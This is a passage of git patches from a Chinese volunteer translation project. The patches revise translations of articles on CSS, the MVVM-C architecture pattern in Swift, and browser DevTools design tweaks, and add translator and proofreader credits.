-现在是时候讲一个有关我祖母手工为打卡机编写机器码的个人故事了。好吧，我的祖母并没有这么做，她为济贫委员会委员会的参议员工作，即便她已经很聪明了，她也没有足够的时间去做计算机相关的事。我可以撒谎，但是为什么这样跳舞呢？
+现在是时候讲一个有关我祖母手工为打卡机编写机器码的个人故事了。好吧，我的祖母并没有这么做，她为福利委员会的参议员工作，即便她已经很聪明了，她也没有足够的时间去做计算机相关的事。我可以撒谎，但是为什么要做这种事呢？
 
 不管怎样，想象一下假如我的祖母真的为打卡机写了机器码呢？又一次充满着人为的错误！出了一个 bug？重新敲一遍。卡片丢地上了？捡起来然后重新排序，或者直接重新开始。很奇怪吧？我们不能让机器帮我们做这些事么？
 
 
-这正是我祖母做的，她制作了一个机器为她打卡。好吧，她没这么做，但是别人做了！我们有很酷的东西，如汇编语言，FORTRAN，和C语言。人们会把新技术发展的每一步都发布到 twitter 上并且批评它。**只需要用打卡机！只需要用 FORTRAN！只需要用 C —**。好吧，我猜大家也是这么做的。
+这正是我理论上的祖母做的，她制作了一个机器为她打卡。好吧，她没这么做，但是别人做了！我们有很酷的东西，如汇编语言，FORTRAN，和C语言。人们会把新技术发展的每一步都发布到 twitter 上并且批评它。**只需要用打卡机！只需要用 FORTRAN！只需要用 C —**。好吧，我猜大家也是这么做的。
 
 —
 
@@ -103,19 +102,19 @@ CSS很好，速度很快，它已经发展了有20多年了，并且适用于各
         color: tomato !important;
     }
 
-看到没？依然是 CSS，干净的 CSS，完美的 CSS，教科书般的 CSS。但它不是我写的，机器完成了这件事。没用到的代码也被移除了，我可以在任何地方渲染 `<Example>` 并且能确保样式。
+看到没？依然是 CSS，干净、完美、教科书般的 CSS。但它不是我写的，机器完成了这件事。没用到的代码也被移除了，我可以在任何地方渲染 `<Example>` 并且能确保样式。
 
 [我可以在任何地方呈现可汗学院的学习菜单](https://medium.com/@jdan/rendering-khan-academys-learn-menu-wherever-i-please-4b58d4a9432d)
 
 
 —
 
-我和你们是同一阵营的。CSS 非常棒，并且一次性把他们全部替换了是非常愚蠢的。就像 FORTRAN 没有替换低级汇编代码一样，[aphrodite](https://github.com/khan/aphrodite) 和 [styled-components](https://github.com/styled-components/styled-components) 并没有替换 CSS。他们正在编写 CSS。
+我和你们是同一阵营的。CSS 非常棒，并且一次性把他们全部替代了是非常愚蠢的。就像 FORTRAN 没有替代低级汇编代码一样，[aphrodite](https://github.com/khan/aphrodite) 和 [styled-components](https://github.com/styled-components/styled-components) 并没有替换 CSS。他们正在编写 CSS。
 
 
-但是请别再和我说去学学 CSS 了。我了解 CSS。往上翻，我在计算机领域拥有一个奖杯。我的 CSS 非常棒，但现在更棒料，因为我正在尽可能的从中移除人为错误。我们不应该庆祝么？
+但是请别再和我说去学学 CSS 了。我了解 CSS。往上翻，我有一个计算机奖杯。我的 CSS 非常棒，但现在更好，因为我正在尽可能的从中移除人为错误。我们不应该庆祝么？
 
-嘿，我也答应你我会停止说 CSS 的坏话。作为博客文章这篇的篇幅太小了，它更适合一个主题标签，那么让我们再来一次？
+嘿，我也答应你我会停止说 CSS 的坏话，如果写的话字数要比本文少得多，它更适合一个主题标签，让我们和好吧？
 
 —
 

From 4ba1eedc0bfb9ab5955bf6d61855ce0c3d53c659 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Thu, 6 Apr 2017 19:36:03 +0800
Subject: [PATCH 048/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/css-is-fine-its-just-really-hard.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 42a513f458a..692e3cca856 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -1,8 +1,8 @@
 > * 原文地址：[CSS is Fine, It’s Just Really Hard](https://medium.com/@jdan/css-is-fine-its-just-really-hard-638da7a3dce0)
 > * 原文作者：[Jordan Scales](https://medium.com/@jdan)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
-> * 校对者：
+> * 译者： [ZhangFe](https://github.com/ZhangFe)
+> * 校对者：[bambooom](https://github.com/bambooom)，[gy134340](https://github.com/gy134340)
 
 ---
 

From a9dc3c9c75c3cfe882273382e8c4d9ebf4372e58 Mon Sep 17 00:00:00 2001
From: DeepMissea <398752853@qq.com>
Date: Thu, 6 Apr 2017 20:31:05 +0800
Subject: [PATCH 049/638] =?UTF-8?q?=E5=88=9D=E6=AD=A5=E7=BF=BB=E8=AF=91?=
 =?UTF-8?q?=E5=AE=8C=E6=88=90=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/mvvmc-with-swift.md | 160 ++++++++++++++++++++-------------------
 1 file changed, 81 insertions(+), 79 deletions(-)

diff --git a/TODO/mvvmc-with-swift.md b/TODO/mvvmc-with-swift.md
index a4bef0ea4c5..16097915b71 100644
--- a/TODO/mvvmc-with-swift.md
+++ b/TODO/mvvmc-with-swift.md
@@ -1,82 +1,83 @@
 > * 原文地址：[MVVM-C with Swift](https://marcosantadev.com/mvvmc-with-swift/)
 > * 原文作者：[Marco Santarossa](https://marcosantadev.com/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者：[Deepmissea](http://deepmissea.blue)
 > * 校对者：
 
 ---
 
-# MVVM-C with Swift
+# MVVM-C 与 Swift
 
 ![](https://marcosantadev.com/wp-content/uploads/MVVM-C_with_Swift_header.jpg)
 
-# Introduction
+# 简介
 
-Nowadays, the biggest challenge for an iOS developer is the craft of a robust application which must be easy to maintain, test and scale.
+现今，iOS 开发者面临的最大挑战是构建一个健壮应用程序，它必须易于维护、测试和扩展。
 
-In this article you will learn a reliable approach to achieve it.
+在这篇文章里，你会学到一种可靠的方法来达到目的。
 
-First of all, you need a brief introduction of what you’re going to learn: **Architectural Patterns**.
+首先，需要简介一下你即将学习的内容：
+**架构模式**.
 
-# Architectural Patterns
+# 架构模式
 
-## What is it?
+## 它是什么
 
->   An architectural pattern is a general, reusable solution to a commonly occurring problem in software architecture within a given context. Architectural patterns are similar to software design pattern but have a broader scope. The architectural patterns address various issues in software engineering, such as computer hardware performance limitations, high availability and minimization of a business risk. Some architectural patterns have been implemented within software frameworks.
+> 架构模式是给定上下文中软件体系结构中常见的，可重用的解决方案。架构与软件设计模式相似，但作用范围更广。架构解决了软件工程中的各种问题，如计算机硬件性能限制，高可用性和最小化业务风险。一些架构模式已经在软件框架内实现。
 
-Cit. [Wikipedia](https://en.wikipedia.org/wiki/Architectural_pattern)
+摘自 [Wikipedia](https://en.wikipedia.org/wiki/Architectural_pattern)。
 
-When you start a new project or feature, you should spend some time thinking to the architectural pattern to use. With a good analysis, you may avoid spending days on refactoring because of a messy codebase.
+在你开始一个新项目或功能的时候，你需要花一些时间来思考架构模式的使用。通过一个透彻的分析，你可以避免耗费很多天的时间在重构一个混乱的代码库上。
 
-## Main Patterns
+## 主要的模式
 
-There are several architectural patterns available and you can use more than one in your project, since each one can suit better a specific scenario.
+在项目中，有几种可用的架构模式，并且你可以在项目中使用多个，因为每个模式都能高好的适应特定的场景。
 
-When you read about these kind of patterns you come across mainly with:
+当你阅读关于这几种模式时，主要会遇到这种：
 
 ### [Model-View-Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
 
 ![](https://marcosantadev.com/wp-content/uploads/mvc_2.jpg)
 
-This is the most common and you might have used it since your first iOS project. Unfortunately, it’s also the worst because the `Controller` has to manage every dependencies (API, Database and so on), contains the business logic of your application and is tightly coupled with `UIKit`—it means that it’s very difficult to test.
+这是最常见的，也许在你的第一个 iOS 应用中已经使用过。不幸地是，这也是最糟糕的模式，因为 `Controller` 不得不管理每一个依赖（API、数据库等等），包括你应用的业务逻辑，而且与 `UIKit` 的耦合度很高，这意味着测试异常的艰难。
 
-You should usually avoid this pattern and replace it with the next ones.
+你通常会避免这种模式，用下面的某种来代替它。
 
 ### [Model-View-Presenter](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)
 
 ![](https://marcosantadev.com/wp-content/uploads/mvp.jpg)
 
-It’s one of the first alternatives to MVC and is a good attempt to decouple the `Controller` and the `View`.
+这是第一个 MVC 的替代方案之一，一次对 `Controller` 和 `View` 之间解耦的很好的尝试。
 
-With MVP you have a new layer called `Presenter` which contains the business logic. The `View`—your `UIViewController` and any `UIKit` components—is a dumb object, which is updated by the `Presenter` and has the responsibility to notify the `Presenter` when an UI event is fired. Since the `Presenter` doesn’t have any `UIKit` references, it is very easy to test.
+在 MVP 中，你有一层叫做 `Presenter` 的新结构来处理业务逻辑。而 `View` —— 你的 `UIViewController` 以及任何 `UIKit` 组件，都是一个笨的对象，他们只通过 `Presenter` 更新，并在触发 UI 事件的时候，负责通知 `Presenter`。由于 `Presenter` 没有任何 `UIKit` 的引用，所以非常容易测试。
 
 ### [Viper](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)
 
 [![](https://www.objc.io/images/issue-13/2014-06-07-viper-intro-0a53d9f8.jpg)](https://www.objc.io/issues/13-architecture/viper/)
 
-It’s is the representation of [Clean Architecture of Uncle Bob](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html).
+这是 [Bob 叔叔清晰架构](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html)的代表。
 
-The power of this pattern is the properly distribution of the responsibilities in different layers. In this way you have little layers easy to test and with a single responsibility. The problem with this pattern is that it may be overkilling in the most of the scenarios since you have a lot of layers to manage and it may be confusing and difficult to manage.
+这种模式的强大之处在于，它合理分配了不同层次之间的职责。通过这种方式，你的每个层次做的的事变得很少，易于测试，并且具备单一职责。这种模式的问题是，在大多数场合里，它过于复杂。你需要管理很多层，这会让你感到混乱，难于管理。
 
-This pattern is not easy to master, you can find further details about this architectural pattern in [this](https://www.objc.io/issues/13-architecture/viper/) article.
+这种模式并不容易掌握，你可以在[这里](https://www.objc.io/issues/13-architecture/viper/)找到关于这种架构模式更详细的文章。
 
 ### [Model-View-ViewModel](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)
 
 ![](https://marcosantadev.com/wp-content/uploads/mvvm.jpg)
 
-Last but not least, MVVM is very similar to MVP since the layers are pretty much the same. You can consider MVVM a MVP version improved thanks to the UI Binding.
+最后但也是最重要的，MVVM 是一个类似于 MVP 的框架，因为层次看几乎相同。你可以认为 MVVM 是 MVP 版本的一个进化，而这得益于 UI 绑定。
 
-UI Binding is a bridge between the `View` and `ViewModel`—mono or bidirectional—and lets communicate these two layers in a completely transparent way.
+UI 绑定是在 `View` 和 `ViewModel` 之间建立一座单向或双向的桥梁，并且两者之间以一种非常透明地方式进行沟通。
 
-Unfortunately, iOS doesn’t have a native way to achieve it, so you must use third party libraries/frameworks or make it by yourself.
+不幸地是，iOS 没有原生的方式来实现，所以你必须通过三方库/框架或者自己写一个来达成目的。
 
-There are different ways to get an UI Binding with Swift:
+在 Swift 里有多种方式实现 UI 绑定：
 
 #### RxSwift (or ReactiveCocoa)
 
-[RxSwift](https://github.com/ReactiveX/RxSwift) is the Swift version of the family [ReactiveX](http://reactivex.io/)—once you master it, you are able to switch easily to RxJava, RxJavascript and so on.
+[RxSwift](https://github.com/ReactiveX/RxSwift) 是 [ReactiveX](http://reactivex.io/) 家族的一个 Swift 版本的实现。一旦你掌握了它，你就能很轻松地切换到 RxJava、RxJavascript 等等。
 
-This framework allows you to write [functional reactive programming (FRP)](https://en.wikipedia.org/wiki/Functional_reactive_programming) and thanks to the internal library RxCocoa you are able to bind `View` and `ViewModel` easily:
+这个框架允许你来用[函数式（FRP）](https://en.wikipedia.org/wiki/Functional_reactive_programming)的方式来编写程序，并且由于内部库 RxCocoa，你可以轻松实现 `View` 和 `ViewModel` 之间的绑定：
 
 ```
 class ViewController: UIViewController {
@@ -94,19 +95,20 @@ class ViewController: UIViewController {
 }
 ``` 
 
-I will not explain how to use RxSwift thoroughly since it would be beyond the goal of this article—it would deserve an own article to be explain properly.
+我不会解释如何彻底地使用 RxSwift，因为这超出本文的目标，它自己会有文章来解释。
 
-FRP lets you learn a new way to develop and you may start either loving or hating it. If you are not used to FRP development, you have to spend several hours before getting used and understanding how to use it properly since it is a completely different concept of programming.
+FRP 让你学习到了一种新的方式来开发，你可能对它或爱或恨。如果你没用过 FRP 开发，那你不得不花费几小时的时间来使用，并理解如何正确的使用，因为它是一个完全不同的编程概念。
 
 An alternative framework to RxSwift is [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa). Check [this article](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift) if you want to understand the main differences.
+另一个类似于 RxSwift 的框架是 [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa)，如果你想了解他们之间主要的区别的话，你可以看看[这篇文章](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift)。
 
-#### Delegation
+#### 代理
 
-If you want to avoid importing and learning new frameworks you could use the delegation as an alternative. Unfortunately, using this approach you lose the power of a transparent binding since you have to make the binding manually. This version of MVVM becomes very similar to MVP.
+如果你想避免导入并学习新的框架，你可以使用代理作为替代。不幸地是，使用这种方法，你将失去透明绑定的功能，因为你必须手动绑定。这个版本的 MVVM 非常类似于 MVP。
 
-The strategy of this approach is keeping a reference of the delegate—implemented by the `View`—inside your `ViewModel`. In this way the `ViewModel` can update the `View`, without having references of `UIKit` objects.
+这种方式的策略是通过 `View` 内部的 `ViewModel` 保持一个对代理实现的引用。这样 `ViewModel` 就能在无需引用任何 `UIKit` 对象的情况下更新 `View`。
 
-Here an example:
+这有个例子：
 
 ```
 class ViewController: UIViewController, ViewModelDelegate {
@@ -154,15 +156,15 @@ class ViewModel {
 }
 ``` 
 
-#### Closures
+#### 闭包
 
-It’s very similar to the delegation but instead of using a delegate you use the closures.
+和代理非常相似，不过不同的是，你使用的是闭包来代替代理。
 
-The closures are `ViewModel` properties and the `View` uses them to update the UI. You must pay attention to avoid retain cycles in the closures using `[weak self]`.
+闭包是 `ViewModel` 的属性，而 `View` 使用它们来更新 UI。你必须注意在闭包里使用 `[weak self]`，避免造成循环引用。
 
-*You can read [this article](https://krakendev.io/blog/weak-and-unowned-references-in-swift) about retain cycles because of Swift closures.*
+**关于 Swift 闭包的循环引用，你可以阅读[这篇文章](https://krakendev.io/blog/weak-and-unowned-references-in-swift)。**
 
-Here an example:
+这有一个例子：
 
 ```
 class ViewController: UIViewController {
@@ -208,39 +210,39 @@ class ViewModel {
 }
 ```
 
-## The Pick: MVVM-C
+## 抉择: MVVM-C
 
-When you have to choose an architectural pattern, you have the challenge to understand which one suits better your needs. Among these patterns, MVVM is one of the best choices since it’s very powerful and easy to use at the same time.
+在你不得不选择一个架构模式时，你需要理解哪一种更适合你的需求。在这些模式里，MVVM 是最好的选择，因为它强大的同时，也易于使用。
 
-Unfortunately this pattern is not perfect, the main lack of MVVM is the routing management.
+不幸地是这种模式并不完美，主要的缺陷是 MVVM 没有路由管理。
 
-We have to add a new layer to get the power of MVVM and routing in the same patterns. It becomes: **Model-View-ViewModel-Coordinator (MVVM-C)**
+我们要添加一层新的结构，来让它获得 MVVM 的特性，并且具备路由的功能。于是它就变成了：**Model-View-ViewModel-Coordinator (MVVM-C)**
 
-The sample project will show how the `Coordinator` works and how to manage the different layers.
+示例的项目会展示 `Coordinator` 如何工作，并且如何管理不同的层次。
 
 ![](https://marcosantadev.com/wp-content/uploads/mvvm-c.jpg?v=1)
 
-# Getting Started
+# 入门
 
-You can download the project source [here](https://github.com/MarcoSantarossa/MVVM-C_with_Swift).
+你可以在[这里](https://github.com/MarcoSantarossa/MVVM-C_with_Swift)下载项目源码。
 
-The examples are simplified to keep the focus on how MVVM-C works, therefore the classes on Github may be slightly different.
+这些类被简化了，以便于你可以专注于 MVVM-C 是如何工作的，因此 GitHub 上的类可能会有轻微出入。
 
-The sample app is a plain dashboard app which fetches the data from a public API and, once the data is ready, allows the user to find an entity by id, like in the screenshot below:
+示例应用是一个普通的仪表盘应用，它从公共 API 获取数据，一旦数据准备就绪，用户就可以通过 ID 查找实体，如下面的截图：
 
 ![](https://marcosantadev.com/wp-content/uploads/app_screenshot_1.png)
 
-This application has different ways to add the view controller so you’ll see how to use the `Coordinator` in edge cases with child view controllers.
+应用程序有不同的方式来添加视图控制器，所以你会看到，在有子视图控制器的边缘案例中，如何使用 `Coordinator`。
 
-## MVVM-C Layers
+## MVVM-C 的层级结构
 
 ### Coordinator
 
-Its responsibility is to show a new view and to inject the dependencies which the `View` and `ViewModel` need.
+它的职责是显示一个新的视图，并注入 `View` 和 `ViewModel` 所需要的依赖。 
 
-The `Coordinator` must provide a `start` method to create the MVVM layers and add `View` in the view hierarchy.
+`Coordinator` 必须提供一个 `start` 方法，来创建 MVVM 层次并且添加 `View` 到视图的层级结构中。
 
-You may often have a list of `Coordinator` childs since in your current view you may have subviews like in our example:
+你可能会经常有一组 `Coordinator` 子类，因为在你当前的视图中，可能会有子视图，就像我们的例子一样：
 
 ```
 final class DashboardContainerCoordinator: Coordinator {
@@ -293,9 +295,9 @@ final class DashboardContainerCoordinator: Coordinator {
 }
 ```
 
-You can notice that the `Coordinator` has a parent `UIViewController` object—or subclasses like `UINavigationController`—injected in the constructor. Since the `Coordinator` has the responsibility to add the `View` in the view hierarchy, it must know in which parent add the `View`.
+你一定能注意到在 `Coordinator` 里，一个父类 `UIViewController` 对象或者子类对象，类似于 `UINavigationController`，被注入到构造器之中。因为 `Coordinator` 有责任添加 `View` 到视图层级之中，它必须知道那个父类添加了 `View`。
 
-In the example above, `DashboardContainerCoordinator` implements the protocol `Coordinator`:
+在上面的例子里，`DashboardContainerCoordinator` 实现了协议 `Coordinator`：
 
 ```
 protocol Coordinator {
@@ -303,9 +305,9 @@ protocol Coordinator {
 }
 ```
 
-which allows you to take advantage of [Polymorphism](https://en.wikipedia.org/wiki/Polymorphism_(computer_science)).
+这便于你使用[多态](https://en.wikipedia.org/wiki/Polymorphism_(computer_science))。
 
-Once you create your first `Coordinator` you must add it as entry point of your application in the `AppDelegate`:
+创建完第一个 `Coordinator` 后，你必须把它作为程序的入口放到 `AppDelegate` 中：
 
 ```
 class AppDelegate: UIResponder, UIApplicationDelegate {
@@ -334,13 +336,13 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
 }
 ``` 
 
-In `AppDelegate` we instantiate a new `DashboardContainerCoordinator` and thanks to the method `start` we push the new view in `navigationController`.
+在 `AppDelegate` 里，我们实例化一个新的 `DashboardContainerCoordinator`，通过 `start` 方法，我们把新的视图推入 `navigationController` 里。
 
-*You can see on the Github project how to inject a* `UINavigationController` *type decoupling* `UIKit` *and the* `Coordinator`.
+**你可以看到 GitHub 项目如何注入一个 `UINavigationController` 类型的对象，并去除 `UIKit` 和 `Coordinator` 之间的耦合。**
 
 ### Model
 
-The `Model` is a dumb representation of the data. It must be as plain as possible without business logic.
+`Model` 代表数据。它必须尽可能的简洁，没有业务逻辑。
 
 ```
 struct UserModel: Mappable {
@@ -364,17 +366,17 @@ struct UserModel: Mappable {
 }
 ``` 
 
-The sample project uses the open source framework [ObjectMapper](https://github.com/Hearst-DD/ObjectMapper) to transform the JSON to an object.
+实例项目使用开源库 [ObjectMapper](https://github.com/Hearst-DD/ObjectMapper) 将 JSON 转换为对象。
 
->   ObjectMapper is a framework written in Swift that makes it easy for you to convert your model objects (classes and structs) to and from JSON.
+>   ObjectMapper 是一个使用 Swift 编写的框架。它可以轻松的让你在 JSON 和模型对象（类和结构体）之间相互转换。
 
-It’s very useful when you have a JSON response from an API and you must create your model objects parsing the JSON string.
+在你从 API 获得一个 JSON 响应的时候，它会非常有用，因为你必须创建模型对象来解析 JSON 字符串。
 
 ### View
 
-The `View` is a `UIKit` object—like a common `UIViewController`.
+`View` 是一个 `UIKit` 对象，就像 `UIViewController` 一样。
 
-It usually has a reference of the `ViewModel`—which is injected by the `Coordinator`—to create the bindings.
+它通常持有一个 `ViewModel` 的引用，通过 `Coordinator` 注入来创建绑定。
 
 ```
 final class DashboardContainerViewController: UIViewController {
@@ -405,11 +407,11 @@ final class DashboardContainerViewController: UIViewController {
 }
 ``` 
 
-In this example the title of the view controller is binded to the property `rx_title` of the `ViewModel`. In this way when the `ViewModel` updates `rx_title` then the title of the view controller will be automatically updated with the new value.
+在这个例子中，视图控制器中的标题被绑定到 `ViewModel` 的 `rx_title` 属性上。这样在 `ViewModel` 更新 `rx_title` 值的时候，视图控制器中的标题就会根据新的值自动更新。
 
 ### ViewModel
 
-The `ViewModel` is the core layer of this architectural pattern. It has the responsibility to keep the `View` and `Model` updated. Since the business logic is inside this class, you should use different components with single responsibilities to keep the `ViewModel` as clean as possible.
+`ViewModel` 是这种架构模式的核心层。它的职责是保持 `View` 和 `Model` 的更新。由于业务逻辑在这个类中，你需要用不同的组件的单一职责来保证 `ViewModel` 尽可能的干净。
 
 ```
 final class UsersViewModel {
@@ -439,33 +441,33 @@ final class UsersViewModel {
 }
 ``` 
 
-In this example the `ViewModel` has a data provider injected in the constructor which is used to fetch the data from a public API. Once the data provider returns the data fetched, the `ViewModel` emitting a new event by `rx_usersCountInfo` with the new count of users. This new event is sent to the `View` thanks to the binding which observes `rx_usersCountInfo` and update the UI.
+在这个例子中，`ViewModel` 有一个在构造器中注入的数据提供者，它用于从公共 API 中获取数据。一旦数据提供者返回了取得的数据，`ViewModel` 就会通过 `rx_usersCountInfo` 发射一个新用户数量相关的新事件。因为绑定了观察者 `rx_usersCountInfo`，这个新事件会被发送给 `View`，然后更新 UI。
 
-You may have multiple components inside your `ViewModel` like a data controller for your database (CoreData, Realm and so on), a data provider which interacts with your API and any other external dependencies.
+可能会有很多不同的组件在你的 `ViewModel` 里，比如一个用来管理数据库（CoreData、Realm 等等）的数据控制器，一个用来与你 API 和其他任何外部依赖交互的数据提供者。
 
-The `ViewModel`s use RxSwift so when the type of a property is a RxSwift class (`Driver`, `Observable` and so on) there is a `rx_` prefix. It’s not mandatory but it can help you to understand which properties are RxSwift objects.
+因为所有 `ViewModel` 都使用了 RxSwift，所以当一个属性是 RxSwift 类型（`Driver`、`Observable` 等等）的时候，就会有一个 `rx_` 前缀。这不是强制的，只是它可以帮助你更好的识别哪些属性是 RxSwift 对象。
 
-# Conclusions
+# 结论
 
-MVVM-C has a lot of advantages and it can improve the quality of your application. You should pay attention on which approach to use for the UI Binding since RxSwift is not easy to master, furthermore the debugging and testing may sometimes be a little bit tricky if you don’t know well what are you doing.
+MVVM-C 有很多优点，可以提高应用程序的质量。你应该注意使用哪种方式来进行 UI 绑定，因为 RxSwift 不容易掌握，而且如果你不明白你做的是什么，调试和测试有时可能会有点棘手。
 
-My suggestion is to start using this architectural pattern a little at a time so you can get used of the different layers and how to keep the responsibilities well isolated and easy to test.
+我的建议是一点点地开始使用这种架构模式，这样你可以对不同的层次得到使用，并且能保证层次之间的良好的分离，易于测试。
 
 # FAQ
 
-***Does MVVM-C have some limitations?***
+***MVVM-C 有什么限制吗？***
 
-Yes, of course. If you’re working in a complex project you may have some edge-cases where MVVM-C may be impossible to use—or some little features where this pattern is overkilling. If you start using MVVM-C it doesn’t mean that you are forced to use it everywhere, you should always use the architectural pattern which suits better your needs.
+是的，当然有。如果你正做一个复杂的项目，你可能会遇到一些边缘案例，MVVM-C 可能无法使用，或者在一些小功能上使用过度。如果你开始使用 MVVM-C，并不意味着你必须在每个地方都强制的使用它，你应该始终选择更适合你需求的架构。
 
-***Can I use both functional and imperative programming with RxSwift?***
+***我能用 RxSwift 同时使用函数式和命令式编程吗？***
 
-Yes, you can. But I’d suggest keeping imperative approaches just in the legacy code and using functional programming for the new implementations, in this way you can take advantage of the power of RxSwift. If you want to use RxSwift just for your UI Binding you can easily write imperative programming and use reactive functional programming just to set the binding.
+是的，你可以。但是我建议你在遗留的代码中保持命令式的方式，而在新的实现里使用函数式编程，这样你可以利用 RxSwift 强大的优势。如果你使用 RxSwift 仅仅为了 UI 绑定，你可以轻松使用命令式编写程序，而只用函数响应式编程来设置绑定。
 
-***Can I use RxSwift in an enterprise project?***
+***我可以在企业项目中使用 RxSwift 吗？***
 
-It depends if you are going to start your project or if you have to maintain legacy code. In a project with legacy code you may struggle to use RxSwift and you should refactor a lot of classes. I’d suggest starting a little at a time with little classes if you have the time and the resources to do it—otherwise try using other alternatives for the UI Binding.
+这取决于你要开新项目，还是要维护旧代码。在有遗留代码的项目中，你可能无法使用 RxSwift，因为你需要重构很多的类。如果你有时间和资源来做，我建议你新开一项目一点一点的做，否则还是尝试其他的方法来解决 UI 绑定的问题。
 
-An important thing to consider is that at the end of the day RxSwift is another dependency to add to your project and you can risk to waste time because of RxSwift breaking changes or lack of documentation for what you want to achieve in edge-cases.
+需要考虑的一个重要事情是，RxSwift 会一直是你项目中的另一个依赖，你可能会因为 RxSwift 的突破性改动而导致浪费时间的风险，或者缺少要在边缘案例中实现功能的文档。
 
 ---
 

From 40abe4b1616defb74b12a60f310e86fcdc5b31f6 Mon Sep 17 00:00:00 2001
From: DeepMissea <398752853@qq.com>
Date: Thu, 6 Apr 2017 20:34:26 +0800
Subject: [PATCH 050/638] =?UTF-8?q?=E5=8E=BB=E6=8E=89=E4=B8=80=E6=AE=B5?=
 =?UTF-8?q?=E5=A4=9A=E4=BD=99=E8=8B=B1=E6=96=87=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/mvvmc-with-swift.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/TODO/mvvmc-with-swift.md b/TODO/mvvmc-with-swift.md
index 16097915b71..0e68011078c 100644
--- a/TODO/mvvmc-with-swift.md
+++ b/TODO/mvvmc-with-swift.md
@@ -99,7 +99,6 @@ class ViewController: UIViewController {
 
 FRP 让你学习到了一种新的方式来开发，你可能对它或爱或恨。如果你没用过 FRP 开发，那你不得不花费几小时的时间来使用，并理解如何正确的使用，因为它是一个完全不同的编程概念。
 
-An alternative framework to RxSwift is [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa). Check [this article](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift) if you want to understand the main differences.
 另一个类似于 RxSwift 的框架是 [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa)，如果你想了解他们之间主要的区别的话，你可以看看[这篇文章](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift)。
 
 #### 代理

From 505596ea4e1d62e8331ee49e0d328671ade0bec7 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Thu, 6 Apr 2017 22:22:39 +0800
Subject: [PATCH 051/638] fix according to proof-reading

---
 TODO/using-devtools-tweak-designs-browser.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/using-devtools-tweak-designs-browser.md b/TODO/using-devtools-tweak-designs-browser.md
index c3bf4632f8d..fe280545985 100644
--- a/TODO/using-devtools-tweak-designs-browser.md
+++ b/TODO/using-devtools-tweak-designs-browser.md
@@ -41,7 +41,7 @@ web 内容是动态的，所以设计应该是灵活的，我们应该测试不
 
 ### 隐藏元素
 
-有时我们需要隐藏某些元素试试看如果没有它的时候是什么样子。Chrome DevTools 可以让我们检查一个元素然后键盘输入 `h` 来隐藏它，也就是给元素添加 CSS 的 visibility 属性。
+有时我们需要隐藏某些元素试试看如果没有它的时候是什么样子。Chrome DevTools 可以让我们检查一个元素然后键盘输入 `h` 来隐藏它，也就是切换元素 CSS 的 visibility 属性。
 
 [![](https://i.vimeocdn.com/video/623017144.webp?mw=700&mh=439)](https://player.vimeo.com/video/207836443)
 
@@ -51,7 +51,7 @@ web 内容是动态的，所以设计应该是灵活的，我们应该测试不
 
 FireFox 的开发者工具中有一个很有用的功能，它可以给 DOM 中特定元素截图。这样的话，我们可以将几种不同的方案放在一起对比挑选最好的方案。
 
-这个功能需要这样操作：
+按照如下步骤：
 
 1. 打开 FireFox 开发者工具
 2. 对一个元素右键，选择**节点截图**（**Screenshot Node**）
@@ -63,13 +63,13 @@ FireFox 的开发者工具中有一个很有用的功能，它可以给 DOM 中
 
 ### 更改设计颜色
 
-在设计项目的初期阶段，你可能需要探索多种不同的调色板。CSS 的 `hue-rotate` 函数是一共功能强大的过滤器，它可以让我们在浏览器中更改设计颜色。它可以旋转图像或元素中每个像素的色相。其中的值设定可以通过 `deg` 或者 `rad`。 
+在设计项目的初期阶段，你可能需要探索多种不同的调色板。CSS 的 `hue-rotate` 函数是一共功能强大的过滤器，它可以让我们在浏览器中更改设计颜色。它可以旋转图像或元素中每个像素的色相。其中的值可以通过 `deg` 或者 `rad` 设定。 
 
 在下面的视频中，我给组件添加了 `filter: hue-rotate(value)` 属性，注意看所有的颜色是如何变化的。
 
 [![](https://i.vimeocdn.com/video/623210796.webp?mw=700&mh=577)](https://player.vimeo.com/video/207995530)
 
-注意*每个*设计元素都会被使用 `hue-rotate` 所影响。比如，用户头像的颜色好像不太对，我们可以通过应用 `hue-rotate` 的负值使之回复正常。
+注意**每个**设计元素都会被使用 `hue-rotate` 所影响。比如，用户头像的颜色好像不太对，我们可以通过应用 `hue-rotate` 的负值使之恢复正常。
 
 
 ```css
@@ -83,7 +83,7 @@ See the [demo Pen](http://codepen.io/shadeed/pen/2d611749947ac7688c2710248c473e5
 
 ### 使用 CSS 变量（自定义 CSS 属性）
 
